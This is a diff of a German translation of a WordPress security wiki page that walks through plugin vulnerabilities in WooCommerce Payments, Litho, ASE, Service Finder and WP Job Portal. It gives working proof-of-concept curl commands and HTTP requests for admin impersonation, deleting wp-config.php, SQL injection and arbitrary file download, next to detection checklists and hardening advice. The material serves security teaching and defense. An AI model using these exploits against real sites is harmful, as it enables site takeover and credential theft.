||||
- **Direkter Zugriff auf die PHP-Datei**
|
||||
- **Direkter Zugriff auf die php-Datei**
|
||||
|
||||
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die bereits durch den bloßen Zugriff auf die Datei ausgelöst wird, ist sie für jeden Benutzer ausnutzbar.
|
||||
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn ein Plugin also eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, ist sie für jeden Benutzer ausnutzbar.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
|
||||
Einige Plugins implementieren „trusted header“-Shortcuts für interne Integrationen oder Reverse Proxies und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht von einer vorgelagerten Komponente kryptografisch an die Anfrage gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator ansprechen.
|
||||
|
||||
- Auswirkung: Nicht authentifizierte Privilegieneskalation zum Administrator durch das Erstellen eines neuen Administrators über die core users REST route.
|
||||
- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto).
|
||||
- Auswirkung: nicht authentifizierte Privilegieneskalation zu admin durch Erstellen eines neuen administrator über die core users REST route.
|
||||
- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste administrator-Konto).
|
||||
- Ausgenutzte Route: `POST /wp-json/wp/v2/users` mit einem elevated role array.
|
||||
|
||||
PoC
|
||||
@ -393,38 +393,38 @@ Content-Length: 114
|
||||
```
|
||||
Warum es funktioniert
|
||||
|
||||
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und umgeht capability-Prüfungen.
|
||||
- WordPress core erwartet die Capability `create_users` für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
|
||||
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungszustand und überspringt Capability-Prüfungen.
|
||||
- WordPress core erwartet die `create_users` capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
|
||||
|
||||
Erwartete Erfolgsindikatoren
|
||||
|
||||
- HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
|
||||
- Ein neuer Admin-Benutzer sichtbar in `wp-admin/users.php`.
|
||||
|
||||
Checkliste zur Erkennung
|
||||
Erkennungs-Checkliste
|
||||
|
||||
- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']` oder Vendor-SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten `permission_callback`-Prüfungen haben und stattdessen auf Request-Headern basieren.
|
||||
- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) in REST-Handlern, die nur durch Header-Werte abgesichert sind.
|
||||
- Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten `permission_callback`-Prüfungen haben und stattdessen auf Request-Header vertrauen.
|
||||
- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) innerhalb von REST-Handlern, die nur durch Header-Werte abgesichert sind.
|
||||
|
||||
Härtung
|
||||
|
||||
- Leite niemals Authentifizierung oder Autorisierung aus vom Client kontrollierten Headern ab.
|
||||
- Wenn ein Reverse Proxy Identität injizieren muss, beende das Vertrauen beim Proxy und entferne eingehende Kopien (z. B. `unset X-Wcpay-Platform-Checkout-User` am Edge), übergib dann ein signiertes Token und verifiziere es serverseitig.
|
||||
- Für REST-Routen, die privilegierte Aktionen ausführen, fordere `current_user_can()`-Prüfungen und ein striktes `permission_callback` (verwende NICHT `__return_true`).
|
||||
- Bevorzuge First-Party-Auth (Cookies, application passwords, OAuth) gegenüber Header-“Impersonation”.
|
||||
- Leite Authentifizierung oder Autorisierung niemals von client-kontrollierten Headern ab.
|
||||
- Wenn ein reverse proxy Identität injizieren muss, beende das Vertrauen am Proxy und entferne eingehende Kopien (z. B. `unset X-Wcpay-Platform-Checkout-User` an der Peripherie), übergebe dann ein signed token und überprüfe es serverseitig.
|
||||
- Für REST-Routen, die privilegierte Aktionen ausführen, fordere `current_user_can()`-Prüfungen und eine strikte `permission_callback` (verwende NICHT `__return_true`).
|
||||
- Bevorzuge first-party auth (cookies, application passwords, OAuth) gegenüber Header-“impersonation”.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
Referenzen: siehe die Links am Ende dieser Seite für einen öffentlichen Fall und eine ausführlichere Analyse.
|
||||
|
||||
### Unauthentifizierte beliebige Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress-Themes und -Plugins stellen häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_` bereit. Wenn die **_nopriv_**-Variante verwendet wird, ist der Callback **für nicht authentifizierte Besucher erreichbar**, daher muss jede sensible Aktion zusätzlich Folgendes implementieren:
|
||||
WordPress-Themes und -Plugins exponieren häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_`. Wenn die **_nopriv_**-Variante verwendet wird **wird der Callback für nicht authentifizierte Besucher erreichbar**, daher muss jede sensitive Aktion zusätzlich implementieren:
|
||||
|
||||
1. Eine **capability-Prüfung** (z. B. `current_user_can()` oder mindestens `is_user_logged_in()`), und
|
||||
2. Einen **CSRF-Nonce**, validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
|
||||
3. **Strikte Eingabe-Sanitierung / Validierung**.
|
||||
1. A **capability check** (z. B. `current_user_can()` oder mindestens `is_user_logged_in()`), und
|
||||
2. Ein **CSRF nonce** validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
|
||||
3. **Strenge Input-Sanitisation / Validierung**.
|
||||
|
||||
Das Litho-Multipurpose-Theme (< 3.1) hat diese drei Kontrollen in der *Remove Font Family*-Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):
|
||||
Das Litho multipurpose theme (< 3.1) hat diese 3 Kontrollen im Feature *Remove Font Family* vergessen und lieferte schließlich folgenden Code (vereinfacht):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -443,29 +443,27 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Probleme, die durch diesen Codeabschnitt entstehen:
|
||||
|
||||
* **Nicht authentifizierter Zugriff** – der `wp_ajax_nopriv_` Hook ist registriert.
|
||||
* **Keine Nonce-/Capability-Prüfung** – jeder Besucher kann den Endpoint aufrufen.
|
||||
* **Keine Pfad-Sanitierung** – die vom Benutzer kontrollierte `fontfamily`-Zeichenkette wird ohne Filter an einen Dateisystempfad angehängt, was klassisches `../../` Traversal ermöglicht.
|
||||
* **Nicht authentifizierter Zugriff** – der `wp_ajax_nopriv_` hook ist registriert.
|
||||
* **Keine nonce / capability-Prüfung** – jeder Besucher kann den Endpoint aufrufen.
|
||||
* **Keine Pfad-Sanitisation** – die vom Benutzer kontrollierte `fontfamily`-Zeichenkette wird ohne Filterung an einen Dateisystempfad angehängt, was klassischen `../../`-Traversal ermöglicht.
|
||||
|
||||
#### Ausnutzung
|
||||
|
||||
Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des Uploads-Stammverzeichnisses** (normalerweise `<wp-root>/wp-content/uploads/`) durch das Senden einer einzigen HTTP-POST-Anfrage löschen:
|
||||
Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des Uploads-Basisverzeichnisses** (normalerweise `<wp-root>/wp-content/uploads/`) durch das Senden einer einzigen HTTP POST-Anfrage löschen:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Weil `wp-config.php` außerhalb von *uploads* liegt, reichen auf einer Standardinstallation vier `../`-Sequenzen aus. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Aufruf in den *Installationsassistenten* und ermöglicht eine vollständige Site-Übernahme (der Angreifer liefert einfach eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
|
||||
Da `wp-config.php` außerhalb von *uploads* liegt, reichen vier `../`-Sequenzen bei einer Standardinstallation aus. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten* und ermöglicht eine vollständige Seitenübernahme (der Angreifer liefert lediglich eine neue DB-Konfiguration und legt einen Admin-Benutzer an).
|
||||
|
||||
Weitere wirkungsvolle Ziele sind plugin-/theme-`.php`-Dateien (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln.
|
||||
Weitere wirkungsvolle Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln.
|
||||
|
||||
#### Checkliste zur Erkennung
|
||||
|
||||
* Jeder `add_action( 'wp_ajax_nopriv_...')`-Callback, der Dateisystem-Helper (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aufruft.
|
||||
* Verkettung unsanitierter Benutzereingaben in Pfade (suche nach `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Fehlende Verwendung von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
|
||||
* Jede `add_action( 'wp_ajax_nopriv_...')`-Callback, die Dateisystem-Helfer aufruft (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Verkettung nicht bereinigter Benutzereingaben in Pfade (suche nach `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Fehlen von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Härtung
|
||||
```php
|
||||
@ -487,16 +485,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Behandle jede** Schreib-/Löschoperation auf der Festplatte IMMER als privilegiert und überprüfe doppelt:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
> **Behandle immer** jede Schreib-/Löschoperation auf dem Datenträger als privilegiert und prüfe doppelt:
|
||||
> • Authentifizierung • Autorisierung • Nonce • Eingabevalidierung • Pfadbegrenzung (z. B. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
|
||||
### Privilegieneskalation durch veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
|
||||
|
||||
Viele Plugins implementieren ein "view as role"- oder temporäres Role-Switching-Feature, indem sie die ursprünglichen Role(s) in user meta speichern, damit diese später wiederhergestellt werden können. Wenn der Wiederherstellungspfad allein auf request parameters (z. B. `$_REQUEST['reset-for']`) und einer plugin-maintained list beruht, ohne capabilities und einen gültigen nonce zu prüfen, wird daraus eine vertical privilege escalation.
|
||||
Viele Plugins implementieren eine "view as role" oder temporäre Rollenwechsel-Funktion, indem sie die ursprüngliche(n) Rolle(n) im User-Meta speichern, um sie später wiederherstellen zu können. Wenn der Wiederherstellungspfad ausschließlich auf Request-Parametern (z. B. `$_REQUEST['reset-for']`) und einer vom Plugin geführten Liste beruht, ohne die capabilities zu prüfen und ohne eine gültige Nonce, führt das zu einer vertikalen Privilegieneskalation.
|
||||
|
||||
Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) gefunden. Der reset-Zweig stellte Rollen anhand von `reset-for=<username>` wieder her, falls der Username in einem internen Array `$options['viewing_admin_as_role_are']` auftauchte, führte jedoch weder einen `current_user_can()`-Check noch eine nonce-Verifikation durch, bevor die aktuellen Rollen entfernt und die aus user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen wieder hinzugefügt wurden:
|
||||
Ein echtes Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` auftauchte, führte jedoch weder eine `current_user_can()`-Prüfung noch eine Nonce-Verifizierung durch, bevor die aktuellen Rollen entfernt und die gespeicherten Rollen aus dem User-Meta `_asenha_view_admin_as_original_roles` wieder hinzugefügt wurden:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -511,19 +509,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Why it’s exploitable
|
||||
Warum es ausnutzbar ist
|
||||
|
||||
- Vertraut `$_REQUEST['reset-for']` und einer Plugin-Option ohne serverseitige Autorisierung.
|
||||
- Wenn ein Benutzer zuvor höhere Privilegien in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft.
|
||||
- In einigen Deployments könnte jeder authenticated user einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung).
|
||||
- In einigen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung).
|
||||
|
||||
Attack prerequisites
|
||||
Voraussetzungen für den Angriff
|
||||
|
||||
- Verwundbare Plugin-Version mit aktiviertem Feature.
|
||||
- Das Zielkonto hat eine veraltete, hochprivilegierte Rolle, die aus früherer Nutzung in user meta gespeichert ist.
|
||||
- Beliebige authenticated session; fehlender nonce/capability im Reset-Flow.
|
||||
- Anfällige Plugin-Version mit aktivierter Funktion.
|
||||
- Das Zielkonto besitzt eine veraltete hochprivilegierte Rolle, die im user meta aus früherer Nutzung gespeichert ist.
|
||||
- Jede authentifizierte Sitzung; fehlender nonce/capability im Reset-Flow.
|
||||
|
||||
Exploitation (example)
|
||||
Ausnutzung (Beispiel)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -531,57 +529,106 @@ Exploitation (example)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Auf anfälligen Builds entfernt dies die aktuellen Rollen und stellt die gespeicherten ursprünglichen Rollen (z. B. `administrator`) wieder her, wodurch effektiv Privilegien eskaliert werden.
|
||||
Auf verwundbaren Builds entfernt dies die aktuellen Rollen und stellt die gespeicherten Originalrollen (z. B. `administrator`) wieder her, wodurch effektiv eine Privilegieneskalation möglich wird.
|
||||
|
||||
Checkliste zur Erkennung
|
||||
|
||||
- Suchen Sie nach Funktionen zum Rollenwechsel, die die “original roles” im Benutzer-Meta dauerhaft speichern (z. B. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifizieren Sie Reset-/Wiederherstellungspfade, die:
|
||||
- Lesen Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Ändern Rollen mittels `add_role()` / `remove_role()` ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisieren basierend auf einem Plugin-Optionsarray (z. B. `viewing_admin_as_role_are`) statt auf den Fähigkeiten des Akteurs.
|
||||
- Achten Sie auf Funktionen zum Rollenwechsel, die Originalrollen im user meta persistieren (z. B. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifizieren Sie Reset-/Wiederherstellungs-Pfade, die:
|
||||
- Lesen Sie Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Ändern Rollen über `add_role()` / `remove_role()` ohne Verwendung von `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisieren basierend auf einem Plugin-Optionsarray (z. B. `viewing_admin_as_role_are`) anstelle der Fähigkeiten des Akteurs.
|
||||
|
||||
Härtung
|
||||
|
||||
- Erzwingen Sie Prüfungen der Berechtigungen in jedem zustandsverändernden Zweig (z. B. `current_user_can('manage_options')` oder strenger).
|
||||
- Erfordern Sie Nonces für alle Rollen-/Berechtigungsänderungen und verifizieren Sie diese: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Vertrauen Sie niemals auf im Request übergebene Benutzernamen; bestimmen Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
|
||||
- Ungültig machen des Zustands der “original roles” bei Profil-/Rollen-Updates, um die Wiederherstellung veralteter hoher Privilegien zu vermeiden:
|
||||
- Setzen Sie Berechtigungsprüfungen in jedem zustandsändernden Zweig durch (z. B. `current_user_can('manage_options')` oder strenger).
|
||||
- Erfordern Sie Nonces für alle Rollen-/Berechtigungsänderungen und prüfen Sie diese: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Vertrauen Sie nie auf aus der Anfrage gelieferte Benutzernamen; bestimmen Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
|
||||
- Invalidieren Sie den Zustand der “Originalrollen” bei Profil-/Rollenaktualisierungen, um die Wiederherstellung veralteter Hochprivilegien zu vermeiden:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Erwäge, nur minimalen Zustand zu speichern und zeitlich begrenzte, durch Capabilities geschützte Tokens für temporäre Rollenwechsel zu verwenden.
|
||||
- Ziehen Sie in Betracht, nur minimalen Zustand zu speichern und zeitlich begrenzte, capability-geschützte Tokens für temporäre Rollenwechsel zu verwenden.
|
||||
|
||||
---
|
||||
|
||||
### WAF-Überlegungen für WordPress/plugin-CVEs
|
||||
### Nicht authentifizierte Privilegieneskalation durch cookie-vertrauenswürdigen Benutzerwechsel im öffentlichen init (Service Finder “sf-booking”)
|
||||
|
||||
Generische Edge-/Server-WAFs sind auf breite Muster ausgerichtet (SQLi, XSS, LFI). Viele hochwirksame WordPress-/Plugin-Fehler sind anwendungsspezifische Logik- oder Authentifizierungsfehler, die wie harmloser Traffic aussehen, es sei denn, die Engine versteht WordPress-Routen und Plugin-Semantik.
|
||||
Einige Plugins binden user-switching-Helpers an den öffentlichen `init`-Hook und leiten die Identität aus einem clientgesteuerten Cookie ab. Wenn der Code `wp_set_auth_cookie()` aufruft, ohne Authentifizierung, capability und ein gültiges nonce zu prüfen, kann jeder nicht authentifizierte Besucher einen Login als beliebige Benutzer-ID erzwingen.
|
||||
|
||||
Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||
service_finder_switch_user($user_id);
|
||||
}
|
||||
if ( isset($_GET['switch_back']) ) {
|
||||
service_finder_switch_back();
|
||||
}
|
||||
}
|
||||
add_action('init', 'service_finder_submit_user_form');
|
||||
|
||||
function service_finder_switch_back() {
|
||||
if ( isset($_COOKIE['original_user_id']) ) {
|
||||
$uid = intval($_COOKIE['original_user_id']);
|
||||
if ( get_userdata($uid) ) {
|
||||
wp_set_current_user($uid);
|
||||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||
setcookie('original_user_id', '', time() - 3600, '/');
|
||||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||
exit;
|
||||
}
|
||||
wp_die('Original user not found.');
|
||||
}
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Warum es ausnutzbar ist
|
||||
|
||||
- Öffentlicher `init` Hook macht den Handler für unauthenticated users erreichbar (kein `is_user_logged_in()` Guard).
|
||||
- Die Identität wird aus einem vom Client veränderbaren Cookie (`original_user_id`) abgeleitet.
|
||||
- Direkter Aufruf von `wp_set_auth_cookie($uid)` loggt den Anfragenden als diesen Benutzer ein, ohne capability/nonce checks.
|
||||
|
||||
Ausnutzung (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
Cookie: original_user_id=1
|
||||
User-Agent: PoC
|
||||
Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
Generische edge/server WAFs sind auf breite Muster abgestimmt (SQLi, XSS, LFI). Viele hochwirksame WordPress/plugin Schwachstellen sind anwendungsspezifische Logik-/Auth‑Bugs, die wie harmloser Traffic aussehen, sofern die Engine nicht WordPress‑Routen und Plugin‑Semantik versteht.
|
||||
|
||||
Offensive Hinweise
|
||||
|
||||
- Ziele plugin-spezifische Endpunkte mit sauberen Payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Teste zuerst unauthentifizierte Pfade (AJAX `nopriv`, REST mit permissiver `permission_callback`, öffentliche shortcodes). Standard-Payloads funktionieren oft ohne Verschleierung.
|
||||
- Typische Fälle mit hoher Auswirkung: Privilegieneskalation (fehlende Zugriffskontrolle), beliebiges Hoch-/Herunterladen von Dateien, LFI, Open Redirect.
|
||||
- Ziele plugin‑spezifische Endpunkte mit sauberen Payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Teste zuerst nicht‑authentifizierte Pfade (AJAX `nopriv`, REST mit permissivem `permission_callback`, public shortcodes). Default‑Payloads funktionieren oft ohne Obfuskation.
|
||||
- Typische High‑Impact‑Fälle: Privilegieneskalation (fehlerhafte Zugriffskontrolle), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive Hinweise
|
||||
|
||||
- Verlasse dich nicht auf generische WAF-Signaturen zum Schutz vor Plugin-CVEs. Implementiere virtuelle Patches auf Anwendungsebene, die schwachstellenspezifisch sind, oder aktualisiere schnell.
|
||||
- Bevorzuge Positive-Sicherheitsprüfungen im Code (Capabilities, Nonces, strenge Eingabevalidierung) statt negativer Regex-Filter.
|
||||
- Verlass dich nicht auf generische WAF‑Signaturen, um plugin CVEs zu schützen. Implementiere application‑layer, verwundbarkeitsspezifische virtuelle Patches oder update schnell.
|
||||
- Bevorzuge Positive‑Security‑Prüfungen im Code (capabilities, nonces, strikte Eingabevalidierung) statt negativer Regex‑Filter.
|
||||
|
||||
## WordPress-Schutz
|
||||
## WordPress Protection
|
||||
|
||||
### Regelmäßige Updates
|
||||
### Regular Updates
|
||||
|
||||
Stelle sicher, dass WordPress, Plugins und Themes aktuell sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:
|
||||
Stelle sicher, dass WordPress, plugins und themes aktuell sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Installiere außerdem nur **vertrauenswürdige WordPress-Plugins und -Themes**.
|
||||
Installiere außerdem nur vertrauenswürdige WordPress-Plugins und -Themes.
|
||||
|
||||
### Sicherheits-Plugins
|
||||
|
||||
@ -591,16 +638,15 @@ Installiere außerdem nur **vertrauenswürdige WordPress-Plugins und -Themes**.
|
||||
|
||||
### **Weitere Empfehlungen**
|
||||
|
||||
- Entferne den Standardbenutzer **admin**
|
||||
- Entferne den Standard-**admin**-Benutzer
|
||||
- Verwende **starke Passwörter** und **2FA**
|
||||
- **Überprüfe** regelmäßig die **Berechtigungen** der Benutzer
|
||||
- **Beschränke Anmeldeversuche**, um Brute Force attacks zu verhindern
|
||||
- Benenne die Datei **`wp-admin.php`** um und erlaube Zugriff nur intern oder von bestimmten IP-Adressen.
|
||||
- Überprüfe regelmäßig die **Berechtigungen** der **Benutzer**
|
||||
- Begrenze **Login-Versuche**, um Brute-Force-Angriffe zu verhindern
|
||||
- Benenne die Datei **`wp-admin.php`** um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
|
||||
|
||||
### Unauthentifizierte SQL Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
|
||||
|
||||
### Nicht authentifizierte SQL-Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
|
||||
|
||||
Das WP Job Portal recruitment plugin stellte eine **savecategory**-Aufgabe bereit, die letztlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt:
|
||||
Das WP Job Portal recruitment plugin stellte eine **savecategory**-Aufgabe bereit, die letztendlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -610,19 +656,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Probleme, die durch dieses Snippet eingeführt werden:
|
||||
Probleme, die durch diesen Ausschnitt entstehen:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` kommt direkt aus der HTTP-Anfrage.
|
||||
2. **String concatenation inside the WHERE clause** – keine `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige Prüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite, die den Shortcode `[wpjobportal_my_resumes]` einbettet, abrufen kann.
|
||||
1. **Nicht bereinigte Benutzereingaben** – `parentid` stammt direkt aus der HTTP-Anfrage.
|
||||
2. **String-Konkatenation in der WHERE-Klausel** – keine `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Erreichbarkeit ohne Authentifizierung** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Überprüfung ein **CSRF nonce** (`wp_verify_nonce()`), die jeder Besucher von einer öffentlichen Seite, die den Shortcode `[wpjobportal_my_resumes]` einbettet, abrufen kann.
|
||||
|
||||
#### Exploitation
|
||||
#### Ausnutzung
|
||||
|
||||
1. Grab a fresh nonce:
|
||||
1. Eine frische Nonce holen:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Inject arbitrary SQL by abusing `parentid`:
|
||||
2. Beliebiges SQL durch Missbrauch von `parentid` injizieren:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -630,18 +676,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
The response discloses the result of the injected query or alters the database, proving SQLi.
|
||||
Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank, was SQLi beweist.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, über path traversal **jede Datei auf der Festplatte** herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, **jede Datei auf der Festplatte** via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` wird vom Angreifer kontrolliert und ohne **Bereinigung** verkettet. Wieder ist das einzige Hindernis ein **CSRF nonce**, das von der Resume-Seite abgerufen werden kann.
|
||||
`$file_name` wird vom Angreifer kontrolliert und **ohne Bereinigung** angehängt. Wieder ist die einzige Hürde ein **CSRF nonce**, das von der Lebenslauf-Seite abgerufen werden kann.
|
||||
|
||||
#### Ausnutzung
|
||||
```bash
|
||||
@ -663,5 +709,7 @@ Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
